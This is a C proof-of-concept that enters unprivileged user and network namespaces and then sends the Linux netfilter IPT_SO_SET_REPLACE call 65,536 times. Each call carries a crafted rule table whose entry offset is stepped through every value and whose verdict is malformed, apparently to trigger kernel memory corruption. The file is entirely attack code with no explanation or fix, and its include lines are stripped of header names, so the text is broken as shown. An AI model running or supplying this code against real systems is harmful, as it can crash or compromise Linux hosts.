#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include int netfilter_setsockopt(void *p) { int sock, optlen; int ret; void *data; size_t size; struct ipt_replace *repl; struct ipt_entry *entry; struct xt_standard_target *target; int x; for (x = 0; x < 65536; x++) { sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); if (sock == -1) { perror("socket"); return -1; } size = sizeof(struct ipt_replace) + sizeof(struct ipt_entry) + sizeof(struct xt_standard_target) + 4; data = malloc(size); if (data == NULL) { perror("malloc"); return -1; } memset(data, 0, size); repl = (struct ipt_replace *) data; entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace)); target = (struct xt_standard_target *) (data + sizeof(struct ipt_replace) + sizeof(struct ipt_entry) + 4); printf("repl %p (%lx) entry %p (%lx) target %p\n", repl, sizeof(struct ipt_replace), entry, sizeof(struct ipt_entry), target); repl->num_counters = 0x1; repl->size = sizeof(struct ipt_entry) + sizeof(struct xt_standard_target); repl->valid_hooks = 0x1; repl->num_entries = 0x1; memset(&repl->underflow, 1, sizeof(repl->underflow)); repl->underflow[0] = 0; entry->next_offset = x; entry->target_offset = sizeof(struct ipt_entry) + 4; target->verdict = -(NF_ACCEPT + 1); ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, size); close(sock); free(data); printf("done %d => %d\n", x, ret); } return 0; } int main(void) { void *stack; int ret; ret = unshare(CLONE_NEWUSER); if (ret == -1) { perror("unshare"); return -1; } stack = (void *) malloc(65536); if (stack == NULL) { perror("malloc"); return -1; } clone(netfilter_setsockopt, stack + 65536, CLONE_NEWNET, NULL); sleep(1); return 0; }